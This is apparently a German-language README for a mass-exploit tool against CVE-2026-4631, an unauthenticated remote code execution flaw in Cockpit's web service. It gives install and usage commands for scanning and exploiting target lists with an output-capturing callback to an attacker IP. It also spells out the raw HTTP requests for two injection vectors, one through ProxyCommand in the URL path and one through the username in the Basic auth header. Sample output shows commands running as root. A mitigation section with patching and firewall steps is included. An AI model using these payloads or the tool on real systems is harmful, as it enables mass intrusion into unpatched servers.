Nicht authentifizierte Remote-Codeausführung durch SSH-Befehlszeilenargument-Injection Cockpit-Versionen 327 – 359 | CVSS 9.8 Kritisch | CWE-78
Unauthenticated Remote Code Execution via SSH Command-Line Argument Injection Cockpit-Versionen 327 – 359 | CVSS 9.8 Kritisch | CWE-78
Massen-Exploit-Tool für CVE-2026-4631 im Cockpit-Webdienst (cockpit-ws, Port 9090). Unterstützt den Vulnerability-Scan-Modus, den RCE-Modus mit Erfassung der Befehlsausgabe über einen integrierten HTTP-Callback-Listener, den --auto-Modus (Scan + Exploit in einem Durchlauf mit Standardbefehl id), das automatische Hinzufügen von Port :9090 für Ziele ohne Port, beide Angriffsvektoren (ProxyCommand + %r-Username-Injection), Massen-Ziele aus einer Datei, nebenläufige Threads und strukturierte Ausgabe.
Autor: 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
Bearbeiten Sie targets.txt — ein Host pro Zeile. Port :9090 wird automatisch hinzugefügt, falls keiner angegeben ist:
192.168.1.10
cockpit.example.com
https://manage.lab.local
# Scan + Exploit in einem Durchlauf, Standardbefehl "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ANGREIFER>
# Beispielausgabe in results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# Nur Vulnerability-Scan (ohne Exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# Expliziter RCE mit benutzerdefiniertem Befehl
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ANGREIFER>
# Einzelnes Ziel
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ANGREIFER>
CVE-2026-4631 ist ein Blind-RCE – die Befehlsausgabe wird nicht in der HTTP-Antwort zurückgegeben. Das Tool verwendet einen integrierten HTTP-Listener (Standard-Port 8888), um die Ausgabe zu erfassen. Stellen Sie sicher:
--callback-ip ist eine IP, die vom Ziel aus erreichbar ist (nicht 127.0.0.1)8888 (oder --listener-port benutzerdefiniert)# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# Version überprüfen (muss >= 360 sein)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
Bearbeiten Sie /etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
Dienst neu starten:
sudo systemctl restart cockpit
Port 9090 auf das Management-Netzwerk beschränken:
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
Schwächt Vektor 1 (ProxyCommand-Injection) durch frühzeitige Hostnamen-Validierung ab:
ssh -V # muss OpenSSH_9.6 oder neuer sein
Wenn ein Upgrade auf 360 nicht möglich ist, wenden Sie die Patch-Commits an:
---Separator in beiboot.py und cockpitauth.c hinzu-- in session.py hinzuPatch-Details: siehe docs/PATCH_ANALYSIS.md
| Feld | Detail |
|---|---|
| CVE-ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Schweregrad | Kritisch (CVSS 9.8) |
| CWE | CWE-78 – OS-Befehlseinschleusung |
| Betroffen | Cockpit 327 – 359 |
| Behoben in | Cockpit 360+ |
| Authentifizierung erforderlich | NEIN (vor der Authentifizierung) |
| Melder | Jelle van der Waa |
| Dienst | cockpit-ws, Standard-Port 9090 |
Cockpit v327 ersetzte cockpit-ssh (libssh) durch python3 -m cockpit.beiboot, das den systemeigenen OpenSSH-ssh-Client aufruft. Benutzergesteuerte Eingaben – Hostname aus dem URL-Pfad und Benutzername aus dem Authorization: Basic-Header – werden ohne Bereinigung und ohne ---Ende-der-Optionen-Trennzeichen an ssh übergeben. Die Einschleusung erfolgt vor der Anmeldeinformationsprüfung, daher ist kein gültiges Login erforderlich.
Der Hostname aus dem URL-Pfad wird mit der SSH-Option -oProxyCommand=<cmd> injiziert.
GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")
SSH parst -oProxyCommand=<cmd> als Option und führt <cmd> als ProxyCommand aus. Der Befehl läuft als Benutzerprozess von cockpit-ws.
Voraussetzung: OpenSSH < 9.6 auf dem Ziel. OpenSSH 9.6+ verfügt über eine frühzeitige Hostnamen-Validierung, die Metazeichen blockiert.
%r-Token-Einschleusung (Sekundär)Der Benutzername aus dem Authorization: Basic-Header wird mit einem Shell-Befehl injiziert.
GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")
SSH expandiert %r mit dem Benutzernamen in einer Match exec-Direktive → Shell führt den injizierten Befehl aus.
Voraussetzung: Die ssh_config des Ziels enthält eine Match exec-Direktive mit dem Token %r.
LoginTo) nicht deaktiviertssh_config mit Match exec %r# Von GitHub klonen
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# Abhängigkeiten installieren
pip install -r requirements.txt
# Überprüfen
python3 exploit.py --help
requests>=2.31 – HTTP-Client für Exploit-Anfragencolorama>=0.4 – farbige TerminalausgabeKeine zusätzlichen Abhängigkeiten für den Listener (verwendet stdlib http.server + threading).
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]
CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection